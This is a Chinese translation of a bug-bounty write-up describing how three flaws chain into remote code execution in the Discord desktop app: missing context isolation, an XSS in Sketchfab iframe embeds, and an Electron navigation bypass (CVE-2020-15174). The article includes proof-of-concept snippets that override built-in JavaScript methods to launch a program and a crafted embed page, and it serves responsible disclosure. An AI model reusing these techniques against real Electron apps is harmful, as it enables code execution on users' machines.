当前位置: 首页 > news >正文

Discord桌面应用远程代码执行漏洞分析

Discord桌面应用RCE

几个月前,我在Discord桌面应用中发现了一个远程代码执行问题,并通过他们的漏洞奖励计划进行了报告。我发现的这个RCE很有趣,因为它是通过组合多个漏洞实现的。在本文中,我将分享详细信息。

为什么选择Discord作为目标

我有点想寻找Electron应用的漏洞,所以正在寻找为Electron应用支付奖金的漏洞奖励计划,然后发现了Discord。另外,我也是Discord用户,只是想检查一下我使用的应用是否安全,所以决定进行调查。

发现的漏洞

我基本上发现了以下三个漏洞,并通过组合它们实现了RCE:

  • 缺失上下文隔离
  • iframe嵌入中的XSS
  • 导航限制绕过(CVE-2020-15174)

我将逐一解释这些漏洞。

缺失上下文隔离

当我测试Electron应用时,首先总是检查用于创建浏览器窗口的BrowserWindow API的选项。通过检查它,我思考当在渲染器上可能执行任意JavaScript时,如何实现RCE。

Discord的Electron应用不是开源项目,但Electron的JavaScript代码以asar格式本地保存,我只需解压就能读取它。

在主窗口中,使用了以下选项:

const mainWindowOptions = {title: 'Discord',backgroundColor: getBackgroundColor(),width: DEFAULT_WIDTH,height: DEFAULT_HEIGHT,minWidth: MIN_WIDTH,minHeight: MIN_HEIGHT,transparent: false,frame: false,resizable: true,show: isVisible,webPreferences: {blinkFeatures: 'EnumerateDevices,AudioOutputDevices',nodeIntegration: false,preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),nativeWindowOpen: true,enableRemoteModule: false,spellcheck: true}
};

这里我们应该检查的重要选项特别是nodeIntegration和contextIsolation。从上面的代码中,我发现Discord主窗口中的nodeIntegration选项设置为false,contextIsolation选项设置为false(所用版本的默认值)。

如果nodeIntegration设置为true,网页的JavaScript只需调用require()就可以轻松使用Node.js功能。例如,在Windows上执行calc应用的方法是:

<script>require('child_process').exec('calc');
</script>

这次nodeIntegration设置为false,所以我不能直接调用require()来使用Node.js功能。

但是,仍然有可能访问Node.js功能。另一个重要选项contextIsolation设置为false。如果你想消除应用中RCE的可能性,这个选项不应该设置为false。

如果contextIsolation被禁用,网页的JavaScript可以影响渲染器上Electron内部JavaScript代码的执行,以及预加载脚本的执行(以下将这些JavaScript称为网页外部的JavaScript代码)。

例如,如果你从网页的JavaScript中用另一个函数覆盖JavaScript内置方法之一的Array.prototype.join,当调用join时,网页外部的JavaScript代码也会使用被覆盖的函数。

这种行为是危险的,因为Electron允许网页外部的JavaScript代码使用Node.js功能,而不管nodeIntegration选项如何,并且通过从网页中覆盖的函数干扰它们,即使nodeIntegration设置为false,也有可能实现RCE。

顺便说一下,这样的技巧以前并不为人所知。它最早是在2016年由Cure53(我也参加了)的一次渗透测试中发现的。之后,我们向Electron团队报告,并引入了contextIsolation。

最近,那次渗透测试报告被公开了。如果你感兴趣,可以从以下链接阅读:

Pentest-Report Ethereum Mist 11.2016 - 10.2017
https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

你也可以阅读我在CureCon活动中使用的幻灯片:

contextIsolation引入了网页和网页外部JavaScript代码之间的分离上下文,使得每个代码的JavaScript执行不会相互影响。这是消除RCE可能性的必要功能,但这次在Discord中被禁用了。

现在我发现contextIsolation被禁用,所以开始寻找可以通过干扰网页外部JavaScript代码来执行任意代码的地方。

通常,当我在Electron渗透测试中创建RCE的PoC时,首先尝试使用渲染器上的Electron内部JavaScript代码实现RCE。这是因为渲染器上的Electron内部JavaScript代码可以在任何Electron应用中执行,所以基本上我可以重用相同的代码来实现RCE,这很容易。

在我的幻灯片中,我介绍了可以通过使用Electron在导航时执行的代码来实现RCE。不仅可以从那个代码实现,而且在一些地方有这样的代码。(我希望将来发布PoC的例子。)

但是,根据使用的Electron版本或设置的BrowserWindow选项,由于代码已经更改或无法正确到达受影响的代码,有时通过Electron代码的PoC效果不好。这次它没有工作,所以我决定将目标改为预加载脚本。

在检查预加载脚本时,我发现Discord向网页暴露了一个函数,允许通过DiscordNative.nativeModules.requireModule('MODULE-NAME')调用一些允许的模块。

在这里,我不能直接使用可以用于RCE的模块,比如child_process模块,但我发现了一个可以通过覆盖JavaScript内置方法并干扰暴露模块的执行来实现RCE的代码。

以下是PoC。当我从devTools调用名为"discord_utils"的模块中定义的getGPUDriverVersions函数时,同时覆盖RegExp.prototype.test和Array.prototype.join,我能够确认弹出了calc应用。

RegExp.prototype.test=function(){return false;
}
Array.prototype.join=function(){return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions函数尝试使用"execa"库执行程序,如下所示:

module.exports.getGPUDriverVersions = async () => {if (process.platform !== 'win32') {return {};}const result = {};const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;try {result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));} catch (e) {result.nvidia = {error: e.toString()};}return result;
};

通常execa尝试执行nvidiaSmiPath变量中指定的"nvidia-smi.exe",但是由于覆盖了RegExp.prototype.test和Array.prototype.join,参数在execa的内部处理中被替换为"calc"。

具体来说,通过更改以下两个部分来替换参数:
https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36
https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

剩下的工作是找到在应用上执行JavaScript的方法。如果我能找到它,就会导致实际的RCE。

iframe嵌入中的XSS

如上所述,我发现任意JavaScript执行可能导致RCE,所以我试图找到一个XSS漏洞。应用支持自动链接或Markdown功能,但看起来不错。所以我将注意力转向了iframe嵌入功能。iframe嵌入是当发布YouTube URL时,例如,自动在聊天中显示视频播放器的功能。

当URL被发布时,Discord尝试获取该URL的OGP信息,如果存在OGP信息,它会在聊天中显示页面的标题、描述、缩略图、相关视频等。

Discord从OGP中提取视频URL,只有当视频URL是允许的域并且URL实际上具有嵌入页面的URL格式时,该URL才会被嵌入到iframe中。

我找不到关于哪些服务可以嵌入iframe的文档,所以我尝试通过检查CSP的frame-src指令来获取提示。当时,使用了以下CSP:

Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

显然,其中一些被列出以允许iframe嵌入(例如YouTube、Twitch、Spotify)。

我尝试通过将域逐个指定到OGP信息中来检查URL是否可以嵌入iframe,并尝试在嵌入的域上查找XSS。经过一些尝试,我发现CSP中列出的域之一sketchfab.com可以嵌入iframe,并在嵌入页面上发现了XSS。

我当时不了解Sketchfab,但它似乎是一个用户可以发布、购买和销售3D模型的平台。在3D模型的脚注中有一个简单的基于DOM的XSS。

以下是PoC,具有精心制作的OGP。当我将这个URL发布到聊天时,Sketchfab被嵌入到聊天中的iframe中,在iframe上点击几次后,任意JavaScript被执行。

https://l0.cm/discord_rce_og.html

<head><meta charset="utf-8"><meta property="og:title" content="RCE DEMO">[...]<meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed"><meta property="og:video:type" content="text/html"><meta property="og:video:width" content="1280"><meta property="og:video:height" content="720">
</head>

好的,我终于找到了一个XSS,但JavaScript仍然在iframe上执行。由于Electron不会将"网页外部的JavaScript代码"加载到iframe中,所以即使我覆盖了iframe上的JavaScript内置方法,也无法干扰Node.js的关键部分。为了实现RCE,我们需要跳出iframe并在顶级浏览上下文中执行JavaScript。这需要从iframe打开新窗口或从iframe将顶部窗口导航到另一个URL。

我检查了相关代码,发现在主进程代码中使用了"new-window"和"will-navigate"事件来限制导航的代码:

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {e.preventDefault();if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);} else {_electron.shell.openExternal(windowURL);}
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {evt.preventDefault();}
});

我认为这段代码可以正确地防止用户打开新窗口或导航顶部窗口。但是,我注意到了意外的行为。

导航限制绕过(CVE-2020-15174)

我认为代码没问题,但我尝试检查从iframe进行的顶部导航是否被阻止。然后,令人惊讶的是,由于某种原因,导航没有被阻止。我预计尝试会在导航发生之前被"will-navigate"事件捕获,并被preventDefault()拒绝,但事实并非如此。

为了测试这种行为,我创建了一个小的Electron应用。我发现由于某种原因,从iframe开始的顶部导航不会发出"will-navigate"事件。准确地说,如果顶部源和iframe源是同源的,事件会发出,但如果它是不同源的,事件不会发出。我不认为这种行为有合法理由,所以我认为这是Electron的一个错误,并决定稍后向Electron团队报告。

借助这个错误,我能够绕过导航限制。最后我要做的只是使用iframe的XSS导航到包含RCE代码的页面,比如top.location="//l0.cm/discord_calc.html"。

通过这种方式,通过组合三个漏洞,我能够实现RCE,如下面的视频所示。

最后

这些问题通过Discord的漏洞奖励计划报告。首先,Discord团队禁用了Sketchfab嵌入,并采取了变通方法,通过向iframe添加sandbox属性来防止从iframe导航。一段时间后,contextIsolation被启用。现在即使我可以在应用上执行任意JavaScript,也不会通过覆盖的JavaScript内置方法发生RCE。我因这一发现获得了5000美元的奖励。

Sketchfab上的XSS通过Sketchfab的漏洞奖励计划报告,并由Sketchfab开发人员快速修复。我因这一发现获得了300美元的奖励。

"will-navigate"事件中的错误作为Electron的错误报告给Electron的安全团队,并被修复为以下漏洞(CVE-2020-15174)。

Unpreventable top-level navigation · Advisory · electron/electron
https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

就是这样。

个人而言,我喜欢外部页面的错误或Electron的错误,这些与应用本身的实现无关,导致了RCE 😃

我希望这篇文章能帮助你保持Electron应用的安全。

谢谢阅读!
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

http://www.hskmm.com/?act=detail&tid=19786

相关文章:

  • DRL模型训练:原始奖励函数记录以及绘制
  • 中国DevOps平台竞品分析:安全合规与技术生态的双重较量
  • experiment 1
  • 图领域的METIS算法介绍 - zhang
  • CANOpen safety SRDO相关问题总结
  • Prometheus源码专题【左扬精讲】—— 监控系统 Prometheus 3.4.0 源码解析:head_wal.go 的 WAL 写入策略与缓存管理源码解读
  • 电子通信词汇中英文对照
  • 平衡树
  • 完整教程:【有源码】基于Hadoop+Spark的AI就业影响数据分析与可视化系统-AI驱动下的就业市场变迁数据分析与可视化研究-基于大数据的AI就业趋势分析可视化平台
  • Tomcat中启用h3的方法是什么
  • k8s-Namespace
  • 国产化Excel开发组件Spire.XLS教程:C# 写入 Excel ,轻松将数据导出到工作表
  • 牛客刷题-Day6
  • 数字化转型浪潮下:10款主流项目管理工具横向测评与选型指南
  • 借助Aspose.Email,使用 Python 将 EML 转换为 MHTML
  • python+springboot+django/flask的医院食堂订餐系统 菜单发布 在线订餐 餐品管理与订单统计系统 - 教程
  • 计算机网络学习笔记 - 浪矢
  • 数据结构以及LeetCode常用方法 - 浪矢
  • App Store 上架完整流程解析,iOS 应用发布步骤、ipa 文件上传工具、TestFlight 测试与苹果审核经验
  • 使用 Zig 编写英文数字验证码识别工具
  • 数数学习笔记
  • 6 个替代 Microsoft Access 的开源数据库工具推荐
  • 20250626_黔西南网信杯_wireshark
  • Ubuntu STA+AP 开机自启完整方案
  • PDE和CFD的区别?
  • Gitee:中国开发者生态的基石与数字化转型的加速器
  • 20号胶
  • MQTT协议
  • 完整教程:带你了解STM32:TIM定时器(第四部分)
  • 邮件怎么发送超大附件的实用解决方案